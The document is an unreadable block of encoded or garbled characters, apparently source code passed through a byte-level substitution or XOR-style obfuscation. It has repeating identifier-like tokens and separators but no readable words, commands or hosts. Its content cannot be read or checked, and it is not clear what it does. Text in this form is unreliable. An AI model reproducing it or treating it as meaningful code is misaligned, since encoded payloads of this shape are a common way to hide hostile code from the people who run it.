WVJFNU_TMWVWOJFFO]lFFFFB 	VPF[FU	NTW_UO]lllFFBWQFFFF[FFFFFF9PPUR9WPVPNBQ
WVJFF	^R_ NWWV_OO]lllFFFF FFFNBWQFFF[[[F 
OFFFF	]lB999PFF[FFFFFFB 	VPNO]l FFN&B999PKX	NBWQJFFB 	VP\\%4#'2#FFFFFFFFB 	VP\\)0#414/2#OFFFF[[[FFOFlFFFFB999PKX 	5NBTVFFHFAIAFFHFBTVFFFFFFHF9UNTW_WOJFFB
VRW
O]lFFB999PKX
	NO]lFFB URQ
PF[FFFFFB 	VPNO]lFFFF FFFN&B URQ
PKX	NBWQOFF[[[FOFFFFlFFFB URQ
PKX
	NO]lF FFFNQ
SV9TNBWQJFFB
QS
^OFFFFFN 	QPVNBWQJFB
QS
^OFFFFF@@FFFF
VUNBWQOOOFFFlFFFFVVRQQ9U^NB
QS
^JFWRP NOO]lllFFU9
 NB
QS
^JFNUQWMR_OO]llllFFFFFFFFF
FlIIF16F5F5F4\F	KF
lllllFFF
VUNBWQO]llIIF	FllFFFF
FlFFF
VUNBWQO]lFFlF
FFlFFFFFF
VUNBWQO]lFFFFlFlFFFN2	
FFFFFFB
WSW9TOFFFFFFllllFFFF	RR^TT9
N9UNWPWSOJFFB
WSW9TO]lFFFFFFFFFFFFN#	FFFB
WSW9TOFFFllllllFFF 	F__ TTVVNOlFllllFFFFlllFFF FFNG9UNTWQTON	^R_ NRUQOOFFFFG9UNTWQTONU	NTTVVOOOFFF]lF FFFNG N	^R_ NTTVWOOOFFF]llFBQW
9
FF[F9UNTWUVO]lF FNG99
NBQW
9
OOFFlll9
9N9UNW^^TONOFFFMFFFFFNT_TM^OJF	^R_ NTTVTOJFFFFFFBQW
9
O]lIIFK
F
FK
llFFFFlllF FFFFFFNG99
N9UNTWUWOOOFFFFlF9
9NP

_
TNTTVUONOFMFNSVUM_QOJFP

_
TNTTVROJF9UNTWUWOO]lFFlIIF
	F	llFFFFFFN2	
FFB
WSW9TOFFB T_
_[WTWW]BPP[B T_
_C_]lFFFFF	RR^TT9
N	^R_ NTTVSOJFB
WSW9TO]lFFFFFFFFFFFN#	FB
WSW9TOFFlFlllFllll 	FFF9UW__UQNOlFFlFFFFFl FFNG NU	NTTVWOOOFFFF]lFB	P	SSFFFF[FFFFFF	
_N'$56'2.FFFHFFAAJFNW8_OO]lFFFFB		QFF[FFNO]lF FFFN9UNTWQTONP

_
TNTTVPOOOFFFB		Q=;FF[FF 	T^U^NO]lFB		Q=;FF[F'$56'2.FFFFHFFFF9UNTTVQO]lFFllF FFN	^R_ NTWQTON	^R_ NSROOOFB		Q=;FF[FFTQ^V^_ NO]lF 	FFFFNB		QFFFFBR	 VPWOFlB
UVS
FFFF[FFFFFFBR	 VPWFFFFFHFFF	^R_ NWPRQOFFHFFB	P	SS]lFFF FFFN&U	NTTV^ONB
UVS
OF@@FFFNOFF&	^R_ NTTV_ONB
UVS
OFFXFFFFU	NTTVUONOFFKFFFFNUWWKQWOOF]lFFllFFFFF 	FFNB		QFFFFFFBR	 VPWOFFlFFFB
9U
WS
	9FFFFF[FFFBR	 VPWFFFHFFFFU	NTTWVOFFHFB	P	SS]lFF FN&U	NTTWWONB
9U
WS
	9OOFFlFFFFB	S FF[FNOFF&	^R_ NTTV_ONB
9U
WS
	9O]lFF FFNB	S FXFFFFFFU	NTTVUONOFFFKFFFFN^PUP^MUTOFFFF@@FFB	S FZ[FFFU	NTTWTONOFFMFFFFFNQVMTUVOOFF	]lFFFFFFF
VUNB
9U
WS
	9O]lFFFlBS_ F[FFFFFBR	 VPWFFFHFF9UNWPSTOFFFFFFHFFB	P	SSFFFFFFHF	^R_ NTW_WO]lF FFFN&U	NTTWUONBS_ OFFF@@FFNOFFFF&	^R_ NTW__ONBS_ OFXFNR^TMW^OOFFlBTPU	_RUFFF[FFBR	 VPWFFFFHFFFP

_
TNWP^WOFFFFHFFB	P	SS]lFFFB	PWS	
FFFF[FF&9UNTTWUONBTPU	_RUOFFYFFFFP

_
TNWT^WONNOF&U	NTWVSONBTPU	_RUOOFF\FFFFFDD]lFFFFF FFFNB	PWS	
FFG[[FFDDFF@@FFFF9UNTWQTON	^R_ NTTWROOFFF@@FF&S9 
NBS_ OFFF[[[FB	PWS	
OFlF&
FFBS_ ]lFFF]lFFl FFNB	PWS	
FG[[FDDOFFFlFF
VUNBS_ O]lFFFFFFFFlFFFFNBTPU	_RUJFFFFFB	PWS	
O]llFFFlFFFNB
9U
WS
	9JFFFFFFB	S O]l FFFFFN	^R_ NTWQTONP

_
TN^_VOOOF&
9NP

_
TNTTWSOO]lFFF
Q

RWWNO]lFFlllllFFFFFFFFN2	
FFFB
WSW9TOFFFl	RR^TT9
NU	NTTWPOJFFFB
WSW9TO]lFFFFFFFFN#	FFFB
WSW9TOFFlFFlFFl 	FFFFF^
PQP_W^NOlFlFFlF FFNG NP

_
TNTTWQOOOF]lFFFFFRUQR
WPP^Q N

O]lFFBTVFFFF[FF9UNW__SONWP__VVUVNOJF9UNTW_WOO]B 	
W[WPLP]BTU99[B 	
WKWS]lFFFB_VF[FFFWP__VVUVNO]lFB
VRW
FF[FDD]lFF FFFFFN&9UNTTWUONB_VOF@@F&P

_
TNTTW^ONB_VOFFFXFFN_^^UKR^^UOOFlFFFBTTS FFF[FFNOFF&U	NTWVSONB_VO]B^	[KRS]B	W
9_S[NB^	XVOYB^	\KB^	]lFFBTR RSP	F[FFFF	^R_ NTWQTON	^R_ NTTW_OOFFFYF9^QSRQNBTTS OF\FFFFFBTTS ]lFFFFF FFN9UNTTTVONBTR RSP	OFF@@F9UNTW^_ONBTR RSP	OFFFFFFXFFN_WTKRWTOF@@FFS_V9QNBTR RSP	OOFB
VRW
FF[FFFFFFBTR RSP	]lFNBTTS JFFFFBTR RSP	O]lFFlF FFFNB
VRW
FFFF[[[FFDDOFFFlBTS
FF[FFF	
_N'$56'2.FFFHFFP

_
TNTTTWOJFNW_K_OO]lFFFFFBPQ
 9FF[F9UNTWQTON9UNTWSSOOFFFFFFYF&9		NBTS
JFDDOFFF\FFDD]lFFF FFNGBPQ
 9FFFFFFFP

_
TNTTTTONBPQ
 9OFFZFFFFNRRSMSSOOFF]B
9RW[U_WU^]BST	S[B
9RW8TTT]lB
VRW
FF[FFFFTUP	
W	NU	NRVTONBPQ
 9OO]lF FFNGB
VRW
FFFFP

_
TNTTTTONB
VRW
OFFFZFFFNRSTMR^OOFF]lllFF FFNGS_V9QNB
VRW
OOFlFFF	RR^TT9
NU	NWT^QOJFFP

_
TN^QUOO]lF]lFFFlFFFFFlFFBR WPV F[FFTQ^V^_ NO]lFFB^VWWSFFF[FFFBR WPV FFHFFF9UNSSOFFHFFFFFBTV]lBFF[FFFB^VWWSFHFFFAIAFFHFBTVFFHFFFU	NTW_WO]lFFFF FFFFNG&U	NW_^TONB^VWWSOOFF9WR
R NB^VWWSJFFFNRR^MRSOJFO]lFB P99FF[F&9UNTTWUONBOFYFNOFF&	^R_ NTWVSONBOF\FFFFDD]llBQ
 _RFFF[FFF 
]l FFNB P99FG[[FDDFFFF@@FFFFF	^R_ NTVURON	^R_ NW__WOJFFFU	NTWPPONB P99JFFVJFFNRVSUMRUOOJFFFFB9T_TQ_
POFFF@@FF	9	NB9T_TQ_
P=W;JFF^P	PU QNOJFAXAOOFBQ
 _RFFFFF[FFFFF]lFFFNB9T_TQ_
PO]lFFFFF FFFFNGBQ
 _RF@@FFFFNB P99F[[[FFDDFFP

_
TNTWRPON9^QSRQNB P99OOFFFFFG[[FFP

_
TNTWRPONB
VRW
OOOFFlFFFFF FFFN URUSWNBJFU 		 WS	NB
VRW
OOOFFFFFlU9
 NBJFFFFNU_TMT^OO]lF_R
RRWU
NBO]lF
V _RR _9NBO]llFFFFFFlFFNB P99JFFFFBQ
 _RO]lF FN	^R_ NTWQTONU	NTWSSOOFFF@@FF	^R_ NTTTUONP

_
TNWQPPOOOFB SP	W[UQLQ]B	^[B SP	WKRQ]lFFFB
SURRRW	F[FFBTVFFHFAIAFFFFFHFFBTVFHFF9UNTW_WO]llllFFFFB^R_9QFF[FFF9		N9UNTTTROJFFFNOO]lllFFFFFF FFFFFNG	^R_ NTWTTONB^R_9QOOFB^R_9QF[FFNO]llllFFFF FFNG9UNTTTSONB
SURRRW	JFFFFFFB^R_9QJFFFFFOOFFFFlFFFFFFB^R_9Q=;FFFF[FB
SURRRW	]l9		NP

_
TNTTTPOJFFFFP

_
TNQVTONB^R_9QOO]llllFFFFlFBW_F[FFFF9	_	^R	VVNO]lFFFFFFF FN&	^R_ NW_^TONBW_OFFFF9WR
R NBW_JFFNRRPMRQOJFOOFFlBS V RUFF[FBW_FFFHFFFFAIAFFHFBTVFFHFFFP

_
TNTTTQO]lFFB^9FFF[FF&	^R_ NTTWUONBS V RUOFYFFFFNOF&	^R_ NTWVSONBS V RUOF\FDD]lFB
 9FF[FFFF 
]lFFFF FFFFFNB^9FFFG[[FFFFFDDFFFFF@@FF	^R_ NTTT^ON	^R_ NW__WOJF	^R_ NTTT_ONB^9JFVJFFNURRQMPR_OOJFFFBP
VOFFF@@FF	9	NBP
V=W;JFFF^P	PU QNOJFFFFAXAOOFFFFB
 9F[F]lFNBP
VO]lllF FNGB
 9FF@@FFFNB^9FFF[[[FFDDFFFFFFP

_
TNTWRPON9^QSRQNB^9OOFFFFFFG[[FP

_
TNTTUVONB
VRW
OOOFFFFFFB[^VWVP]BS^SQS[B8SW]l FN URUSWNBS V RUJFFU 		 WS	NB
VRW
OOOFFFFllFFU9
 NBS V RUJFFFNWWMRV_OO]l_R
RRWU
NBS V RUO]llFFFF
V _RR _9NBS V RUO]lFFFlIIF
	FllFFFFFF
 FFNGB
 9OFFFFFlFB_PF[FF&P

_
TNTTV_ONBS V RUO]lFFF FFFNGB_PFFFFFNB_PFFFCFFNWSRVT^KSRVT^OOFFG[[FFFFFR
PPRTNOOFF_R
RRWU
NBS V RUO]lFNB_PO]lllFlNB^9JFFB
 9O]lFFFFFlFFVV QNB
VRW
O]lFFFFFN2	
FFFFB
WSW9TOFFFllFF	RR^TT9
NP

_
TNTTUWOJFFB
WSW9TO]lFFFFFFFFFFN#	FFB
WSW9TOFFFFFlllF 	FFFQ
PP
99QNOlFFlFFFFF FNGNB9!#2=AA;OFFFFFGU	NTTTVONB9!#2=AA;OOFFF]lFFB9QQ
FFFF[FFFFFB9!#2=AA;]l FFFNB9QQ
FFF[[[F9V 9SN9UNWRVWOOOFFFFlFFFFFFFFFlB9S_RP_VFF[FF 	T^U^NOFFHFAIAFHFF	
_N'$56'2.FFFFFHFFP

_
TNTTUTOJFNWWT8WTVOOFFFHFP

_
TNTTTQO]lFFBRP	FF[FFFF&9UNTTUUONB9S_RP_VOFFFYFFFFFNOFF&U	NTTW^ONB9S_RP_VOFF\FV]lF FNBRP	FFFXFFFNRSWMR_OF@@FFFBRP	FFFFZ[FNSSQWQSMRP^SQVSOOFFl
FFB9S_RP_V]lFFlFFFFFN2	
FFFB
WSW9TOFFFFllllFFFFFFN#	FB
WSW9TOFFlFFFl
FFFFN	^R_ NRSPONOFXFVFF@@FF&	99
NOOFlFFFllllFFFFFFFN	^R_ NTTUROO]l]lFFFFllllFFF FFFNB9QQ
FFG[[FFFFF9V 9SN9UNWUQ_OOOFF]lFFFFFFFFlFF FFFFFNP

_
TNTTUSONU	NTTUPOOFFFF@@FP

_
TNTTUSON	^R_ NTTUQOOOFFFlFFFF&9		N9UNSPUOJFFNOFF&9		NP

_
TNSPUOJFFVOFMFFFWJFFFP

_
TNTTU^OO]lllFF&9		NU	NSPSOJFFF	^R_ NTTU_ONOJFU	NTTRVOO]lFlBQ	FF[FF	TUP9SN	^R_ NWUQPOJFFFFDDO]llFF FN	^R_ NTTTTONBQ	OFFFFFFXFFN_^MTOFF@@FFG	^R_ NTTRWON9UNTTRTOJFFBQ	OFF@@FFP

_
TNTTRWON9UNTTRUOJFBQ	OOFFFllFFB
_	Q	T9FF[FFF&U	NRVTONBQ	JFFFFFFO]l FFNB
_	Q	T9FFG[[FF 
FF@@FP

_
TNTTTTONB
_	Q	T9OFFFFFXFFFFFFNSSMRSOOFFBQ	FF[FB
_	Q	T9]lllllFF FFNU	NTTRRONBQ	OFFZFFFNWU^KU^OOFFFFBQ	FF[FFFR^	9^VPNO]lFF FFN	^R_ NTTRSONBQ	OFFZFFNQQMTUOOFFlF
FFFFNU	NRSPONOFFFFFXFFVFFFF@@FF&	99
NOOFFBVUT[_W^V]B	VRW_P_[BVUTCU]lFFFFFFFFlFFFNU	NTTRPOO]lFNP

_
TNTTRQOO]lFFFFFN	^R_ NTTR^OO]lFF]llFlFB_SSFFFF[FFFF	TUP9SNP

_
TNTTR_OJFFDDO]lFFBQTQF[FFADAFHFFFFFFU	NTTUVONB_SSFFFHFFFFBQ	OFHFFFFFADA]llllFF FNNB95#40#4=U	NTTSVO;OFFF@@FFFF9UNWT^WONB95#40#4=	^R_ NTTSVO;OFF[[[FBQTQOFl
FFFN	^R_ NRSPONOFFFXFVFF@@FF&	99
NOOFlFFFlFN9UNTTSWOO]lllFFFFNU	NTTSTOFFFHFFFBQTQO]lFFFF]lFFFFl
FFFN9UNRSPONOFFFFFXFFVFFFF@@FFF&	99
NOOFFFFFlFFFFlN9UNTTRPOO]lFFFFFN9UNTTSUOO]lFFFFFFFN9UNTTSROO]lFN9UNTTSSOFHFBQTQO]llllFFFF	FFB_SSFHFFBQ	]lFFFF]lFFFFFFFFFN2	
FB
WSW9TOFllFFFFF	RR^TT9
NU	NTTSPOJFB
WSW9TO]lFFFFFFFFFN#	FFFB
WSW9TOFFlFFFFF	RR^TT9
NU	NTTSPOJFB
WSW9TO]lllIIF16F5
	F 

\F	F	llFFlQ
PP
99QNO]lFFFFF 	FFFFSQSS	R ^NOllF FNGNB9!#2=9UNTTSQO;OOFF]lFlFBS	Q9FFFFF[FB9!#2=P

_
TNTTSQO;]lF FFFNG	^R_ NTTS^ONBS	Q9OFFFFFFBS	Q9FFFF[[[FFDDOFFFFF]lBS	Q9F[F9UNQQONBS	Q9O]lFFB	R^Q9RF[FFNO]lFFF FFFNP

_
TNTTS_ONU	NTTPVOOOFFFB	R^Q9R=;F[FNOFFFFFFU	NTTPWON	9
NOJF6.6934*9.)52O]l FFFFNP

_
TNTTPTONU	NTTPUOOOFFFFlllFB9UQWFFFFF[FFFFFNOFFFF&9		NP

_
TNTTPROJFFDDO]lFFFFFFF FNB9UQWFFFFG[[FFFDDOFB	R^Q9R=;FF[FFFNOFFFP

_
TNTTPWONB9UQWJFFF6.6934*9.)52O]lFFFFFFll FNNB95#40#4=U	NPRPO;OOFFFFFFB	R^Q9R=;FFF[FNOFFB95#40#4=9UNTTPSO;]lFFFB	R^Q9R=;FF[FV	 NDDO]lllB R^U FF[F 
]lF 	FFFFN9UNW_QPONB	R^Q9ROFFFFFFFBQ_UR	OFFFFFFB RTS	[6.69/(29+'>I6.69/(29+'>]B9[B RTS	MR^]lFF FFNG	^R_ NTTPPONBQ_UR	OFFFBQ_UR	FFFFF[[[FFDDOFFF	]llFFF FN	^R_ NTW^TONBQ_UR	JFFA\AOFG[[F 
OFFFFBQ_UR	FFFFF[FFFFFU	NTWQ^ON	^R_ NTTPQOJFFFFDDJFFFFFBQ_UR	O]lFFFFFF FFFFN	
_N	^R_ NQQONBQ_UR	OFFHF	^R_ NTTP^OJFNWPQ8WQWOOFFFF[[[FBS	Q9OFFFFllFFFB R^U F[FF]BPQ9^[6.69+',)490#45/)(]BWRRSVWT[BPQ9^LP]llll]llFFFlF FNGB R^U OFFF]lFB
UPFFFFFF[FF	^R_ NWU^^ON9UNTTP_OJFFNTTR8TSROO]lFFFB SQS^FF[FFFFFFTUP	
W	NS9U UUP 9NB
UPOO]lF
FFNP

_
TNRSPONOFXFVFFFF@@F&	99
NOOFFFFlFlFNU	NTTQVOO]lFNP

_
TNTTQWOO]lFF	FFFNB SQS^FFFF[[[FFB
UPOFFYFP

_
TNTTQTOFFHFP

_
TNTTQUONB
UPOF\FU	NTTQRO]lllFFF]lFllFFFFFFN2	
FFB
WSW9TOFFFlFFFF	RR^TT9
NP

_
TNTTQSOJFFFFFB
WSW9TO]lFFFFFFN#	FFFFB
WSW9TOFFFlFFF	RR^TT9
N9UNTTQSOJFFB
WSW9TO]lFFFFFlFlFFFSQSS	R ^NO]lFFFFFFF 	FFFTW^^NOlFFlFFl FFNU	NTTQPONU	NTTQQOOOF	9
9	NO]lFFFFFF FFFFN	^R_ NTTQPONU	NTTQ^OOOFFU9 
9

NO]l FFNP

_
TNTTQPON	^R_ NTTQ_OOOFFF999NO]lll FFFFNP

_
TNTTQPONU	NTT^VOOOF
99

NO]lFF
 FN9UNWSTSONU	NTT^WOOFFFF@@FF	^R_ N__ON	^R_ NTT^TOJFFFFU	NTT^UOOOF*59%9'6/\\9

NO]lFFF FFFN9UNWSTSON	^R_ NTT^ROOF@@FFU	NTT^SON9UNTT^ROJFFU	NTT^POOOFFFF$96%\\99 
NO]lF FN	^R_ NWSTSON	^R_ NPWVOOF@@FFFP

_
TNTT^QONP

_
TNPWVOJF	^R_ NTT^^OOOFF%9#
\\
9	
9NO]lllFFFFFF FFN	^R_ NTTQPON	^R_ NTT^_OOOFFFF 9
9

9NO]lF
 FFNNB!*)$'*5=9UNPWWO;OFF@@FFU	NTT_VONB!*)$'*5=P

_
TNPWWO;OF@@FFFFF9UNTT^QONB!*)$'*5=	^R_ NPWWO;JFF	^R_ NTT_WOOOFFFB!*)$'*5=9UNPWWO;KX
%NO]lFF FFNU	NTTQPONP

_
TNTT_TOOOF99
9NO]lllFFFFF FNP

_
TNWSTSON9UNTT_UOOFF@@FFP

_
TNTT^QONP

_
TNTT_ROJFFFP

_
TNTT_SOOOFF	%\\


NO]lFF	RR^TT9
N	^R_ NR_UOJFFP

_
TNTT_POO]lFFFFFFFN2	
FFFB
WSW9TOFFFFFllllFFFF	RR^TT9
N9UNR_UOJFFB
WSW9TO]lFFFFFFFN#	FB
WSW9TOFFFFlFFFFFFlFFllFF 	FUTT	^RNOll FFN9UNTTQPON9UNTT_QOOFFF@@FFFFFF9NOOFF]lFFFFFFFF FFFN	^R_ NTTQPON	^R_ NTT_^OOFF@@FFF9	9NOOFFF]lFFFF FN NU	NTT__OOF@@F4#5294#73#52OFFFF]l FN NP

_
TNTUVVOOFF@@FFFF>+*46%94#73#52OFFFFFF]l FFFNP

_
TNTTQPONU	NTUVWOOFFFFF@@FFF9 NOOFFF]lFFFFFFF FNU	NTTQPON9UNTUVTOOFF@@FFFF9		NOOFFFF]lllFFFF FNU	NTTQPONU	NTUVUOOF@@FFF9NOOFFFFFF]ll FFN	^R_ NTTQPONU	NTUVROOFF@@FFF9	9NOOFFFFFF]lFF FNNB9!#2=U	NTUVSO;OFFFFFFFNB9!#2=9UNTUVPO;OFFFFNB9!#2=9UNTUVQO;OOFF]lllFFFFF 
]lllll 	F		9VRNOllllFFBT	_[_WLU]B  ^T[BT	_K_]lFFFFBU9__FFF[FFNNB!*)$'*5=P

_
TNQWUO;OF@@FFFU	NTTPPONB!*)$'*5=P

_
TNQWUO;OOFFFYFFF	^R_ NWT^WONB!*)$'*5=U	NQWUO;OFFFF\FFFDD]llll FNBU9__FFF[[[FFFFDDOFFDD]lBU9__F[FFF	^R_ NTUV^ON	^R_ NTUV_OJFFFFFP

_
TNTUWVOJFFFBU9__O]lFFB_^RQ 
RFF[FFF9UNTTQPONP

_
TNTUWWOOFFFFYFFFFFFNOFF	^R_ NTTPWON	9
NOJF6.6934*9.)52OFFFF\FFFFFDD]lFFB
RTFFFFF[FF	
_NU	NQQONB_^RQ 
ROJFFFNUMUOO]lFFFFBTVTSFFFF[FFFFP

_
TNTTT_ON9UNTTQUONBU9__OJFFFVJFNRMTOO]lFFD:ZFK[:DDFFFHFFFB
RTFFFHFFAKAFFHFBTVTSFFHFD:DX:DFFFFFHFFFFFFBU9__FFHFD:ZIX:ZGKKFDFFFFFHFFFB
RTFFFHFFAKAFHFFFFFBTVTSFFFFFFHFFFDFKKX:D]llF 	FFFPSRPNOllFFFFFFFlFFFFFFF FFFNUTT	^RNOOFFFF]llFFFFFB9	FFF[F		9VRNO]lFFFFFF FFNB9	FF[[[FFFDDOF]lFFFFF	FFB9	]lFB!*)$'*5=U	NSSSO;F[FF]lFF FNU	NTUWTON	^R_ NTUWUOOFFFFF@@FF	^R_ NTUWTONU	NTUWROOFFF@@FNB!*)$'*5=P

_
TNTUWSO;OOFlFFB!*)$'*5=9UNTUWPO;FF[FFF]lFFFFB
VST
^FFFF[FFFFNOFFF&9		NP

_
TNSPVOJFFVO]lFF FNP

_
TNTTU_ONOFFFFKFFFFB
VST
^FFXFFFFNT_RMPOOFF&9		NU	NSPVOJF9UNTUWQONOJFFF	^R_ NTTRVOO]lFFFNB
VST
^O]llFFFFFFN2	
FFB
WSW9TOFFl	RR^TT9
N9UN^WPOJFB
WSW9TO]lFFN#	FB
WSW9TOFlllllFFFFlFF 	F^
TQW^P_QNBTVQ^OlFlFFF FFFFFNG	^R_ NTTPPONBTVQ^OFFBTVQ^FF[[[FFFFFDDOFFFFFFFBTVQ^]l FFNGNB!*)$'*5=9UNTUW^O;OOFFFFFFFBTVQ^]lFFFB9	FF[F		9VRNO]lF FFNB9	FF[[[FDDOFFBTVQ^]lllFFFF FFFN	NBTVQ^JFFF	^R_ NTUW_OOF[[[FF 
F@@F	NBTVQ^JFFF	^R_ NTUTVOOFF[[[F 
OFFFFFFFFFBTVQ^]llFFFFB!*)$'*5=9UNTUW^O;FFF[F]lFB!*)$'*5=U	NSSQO;FFF[FFFFFF]lllFBPQ9^TPFF[FF	NBTVQ^JF9UNTUW_OO]lFF FFFNBPQ9^TPFFFG[[FFFF 
OFFlFFFFU	NTTT_ONBTVQ^JFFVJFBPQ9^TPOFFFFHFB9	FHF	^R_ NTTT_ONBTVQ^JFFBPQ9^TPO]lFFlIIF6.6F^HRF \FF 
	KllFFFFBTVQ^FFHFFFFFB9	]llFFFFF 	FFFFF^P
R RUTTP
NOllFFFFFFlIIF16F$
	%		
\F F
lll FFNUTT	^RNOOFFF]lFFF FFNGNB!*)$'*5=	^R_ NTUTWO;OOF]lFFFFFBU9__F[FNNB!*)$'*5=9UNQWUO;OFFF@@FP

_
TNTUTTONB!*)$'*5=P

_
TNTUTUO;OOFFYFFFFFU	NWT^WONB!*)$'*5=	^R_ NTUTRO;OF\FFFFDD]B   Q[6.69+',)490#45/)(]B _	9QQ[B   QLP]l FFFFFNBU9__F[[[FFDDOF]lB!*)$'*5=P

_
TNTUTWO;FFFFF[FF]lFFFFFFFF&	^R_ NTUTSON9UNTUTPOO]lFFFFFN2	
FB
WSW9TOFFFFlFF	RR^TT9
NP

_
TNSSPOJFFB
WSW9TO]lFFFFFFFFFN#	FFFFFB
WSW9TOFFlFFFlFFlFFF 	FFUUT
TNOllFFFFFFFFlFFFFFFlFF FNG9NOFFF@@FFNGNB!*)$'*5=U	NTUTQO;OFFFB!*)$'*5=	^R_ NTUT^O;FFFG[[FFP

_
TNTUT_OOOFF]lF FFNU	NTUWTON9UNSRTOOFFFFF@@FFG9
NOOF]lFFBV FFF[F	TUP9SNU	NWUQROJFFFFDDO]lllFFFB
RTFFFFF[FFF	
_N'$56'2.FFFFHF9UN^WPOJFFFNWWT8WW^OO]lFB TVQ^ TWFF[FFFFF	^R_ NWP_^O]lF FFFNBV FFFF[[[FFFDDOFlFF FFFFN9UNTUWTONU	NTUWUOOFFF@@FNOFF&9		N9UNSP^OJFFFVOOFFFFlFFFFFF&9		N	^R_ NSP^OJFVJFFFFF9UNTTRVOO]lB^RSWUFF[FNOFFFF&9		N9UNTUUVOJFDDO]lFFFFF	FFD:DFFHFF9UNTUUWOFFFHFFFB
RTFHFFFAXAlFFFHFFF	^R_ NTUUTOlFFFFHFFF9UNTUUUOFHFFFFFFB TVQ^ TWN9UNTUUROOFFFFHFFU	NTUUSOlFFHFFF9UNTUUPOFFFFHFFU	NWUPTONB^RSWUOFFFFHFA]AlFFFHFF9UNTUUQOFFFFHFFFB TVQ^ TWN	^R_ NTUU^OOFFFFFHFFFU	NTUU_OlFHFP

_
TNTURVOFFFHFB TVQ^ TWNU	NTURWOOFFFHFFFFF	^R_ NTURTOFHFB TVQ^ TWN	^R_ NTURUOOFHFFFF9UNTURTOFHFFFB TVQ^ TWNP

_
TNTURROOFFHFU	NTURSOFFFFHFB TVQ^ TWNP

_
TNTURPOOFFHFF	^R_ NTURQOlFFFFHFFP

_
TNTUR^OFFFFFHFB TVQ^ TWN	^R_ NTUR_OOFFHFFFFU	NTUSVOFFHFB TVQ^ TWNU	NTUSWOOFFFFHFFP

_
TNTUSTOlllFFFFFFFHFF9UNTUSUOFFFHFFFD:D]lNB^RSWUO]lFFllFFFFFF]lFllllBV FF[F9UNTUSRON9UNWUUTOJFF	^R_ NWUUUOJFFFFFBV O]lFFF FNP

_
TNTW^TONBV JFF9UNWUUUOOFG[[FFFFFFVOFFBV FF[FFF9UNWUUUOFFHF9UNWUQUONBV JFAIAO]llllFB9R 	^TFFF[FAIA]lFFF FNP

_
TNTUSSON9UNTUWWOOOFFFFFllFFFFFFBR^US9_FFF[FNOFFFFF9UNTUSPON	9
NOJFF6.6934*96'2.O]lFFFFFF FFFFNBR^US9_FG[[FFFFFDDFF@@FFFFBR^US9_FG[[FFAIAOFB9R 	^TFFFFF[FFFP

_
TNTUSQONBR^US9_JFAIAOFFFHFFAIA]lFFFFFFFFlFFFFFFF FFFFNU	NTUSSONU	NTUWROOOFlFF&9		NU	NSP^OJFFWJF9UNTTRVOO]lFFFF&9		NP

_
TNTUUVOJFBV JFU	NTTRVOO]lFlFFFFB_VQ 
FF[FFFF	^R_ NTUS^OFFHFB
RTFFFFHFFAXAlHFP

_
TNTUS_OlFFFFFHFU	NTUUUOFFHFFFFFB TVQ^ TWN9UNTUUROOFFHFFFF9UNTUPVOlHFFFP

_
TNTUPWOlFFFHFFFP

_
TNTUPTOFFHFFB TVQ^ TWNP

_
TNTUPUOOFFFHFF	^R_ NTUPROFFFHFFU	NTUPSONBV OFFFFHFFAOAlFHFF9UNTUPPOFFFFFHFFFB TVQ^ TWN	^R_ NTUPQOOFHFF	^R_ NTUPROFHFP

_
TNTUPSONBV OFFFHFF9UNTUP^OFHFU	NTUPSONB9R 	^TOFFHFFU	NTUP_OFFHFFFFB TVQ^ TWN	^R_ NTUQVOOFFFFHFFF9UNTUQWOlHFFU	NTUQTOFFFFHFFB TVQ^ TWNU	NTUQUOOFFHFF9UNTUQROlFFFHFFFFFU	NTUPTOFHFFFB TVQ^ TWN	^R_ NTUQSOOFFHFFP

_
TNTUQPOFFFFFHFFFFB TVQ^ TWN9UNTUQQOOFFFHFFP

_
TNTUQ^OlFFHFU	NTUQ_OFFHFB TVQ^ TWN	^R_ NTU^VOOFFFFFHFP

_
TNTU^WOlFFHFFFP

_
TNTU^TOlFFFFFFHFFP

_
TNTUPTOFHFFFB TVQ^ TWNP

_
TNTU^UOOFHFFFFP

_
TNTU^ROllllFFFHFU	NTU^SOFHFFFB TVQ^ TWNU	NTURWOOFHF	^R_ NTU^POFFHFFFFB TVQ^ TWNP

_
TNTU^QOOFFHF	^R_ NTU^^OlFFFHFFP

_
TNTUSUO]l	FFFFFD:DFFHFB_VQ 
FFFFFFHFFD:D]lFFFFFFFFFN2	
FFFB
WSW9TOFFFFlFFF	RR^TT9
N	^R_ NTU^_OJFB
WSW9TO]lFFFFFFFFFFFFN#	FFB
WSW9TOFFFFFFllllFFF	RR^TT9
NU	NTU^_OJFFB
WSW9TO]llllFFlFFFlFlF FFN^^WWPNOOFFFFFFlF]lFFl9	W
	NO]lFBQ9 	F[FFFF&U	NTU_VONWP__VVUVNOO]lF FFFNGBQ9 	FFFNBQ9 	FCFFNVUMVWQPSOOFFG[[FFFFR
PPRTNOOFFlFFFFFFB SUF[FF	^R_ NTUWQONO]llllFFFFFFVVRQQ9U^NWP__VVUVNOJFFFFFNB SUFFKFFFFFNB SUFFCFN___S_MRWOOOFMFFFFR
PPRTNOO]llFFFNB SUO]llFFFFFNBQ9 	O]lFFllBQ	^F[F99 /*#99]lFBQUTFF[FFDD]lFFB
VTUFFFF[FF&	^R_ NTU_WONBQ	^JFF 
JFF

JFFFFVJFFNPTRTKTWRPOO]lF FFNU	NTUTTONB
VTUOFF@@FFP

_
TNTTRWON9UNW__WOJFB
VTUJFFFFB^
UOOFFBQUTFF[FFB^
U=W;]llFFFF FNBQUTFG[[FFFFDDFF@@FFF N9UNTU_TOOOFFFFFlB9
FF[FFFNO]lllFFFBV	_F[F N	^R_ NWPPQOOFFFFFFYF16+396*3!/(9"/4FF\FFFFF169%)(2#(29"/4FFFFHFF	^R_ NW_Q_O]llFBR^FF[FF N	^R_ N^T^OOFFFYFFFF1696*3!/(9"/4FF\FF169%)(2#(29"/4FHFFFP

_
TNWPP^O]lFB
W_Q	 VFFF[F 
]lFFF FFNU	NTUSSON	^R_ NTU_UOOOFFFFllFB9QWR9FFFFFF[FFFFFF&P

_
TNW_^TONBV	_OFFYFFF&P

_
TNTU_UONBV	_FFFFFHFFFFFU	NPPTOOFF\F 
]lFFFB^ F[FFF&	^R_ NTU_RONBR^FHFFFU	NW_^UOO]lFFF FNP

_
TNTU_SONB9QWR9OFFF	^R_ NTU_PONB^ OOFFlllFB
W_Q	 VFFFFF[FFF]l 	FFFNNOFFFB9QWR9FFFFB_V
S 9RUOFFFFFB9
=;FFFF[FFB_V
S 9RU]lFF 	FFNNOFFB^ FFFFFFFFFFFB_V
S 9RUOFB9
=;FF[FFB_V
S 9RU]llllFFFNB9QWR9JFFFFB^ O]lFFlFF FFFFNGB
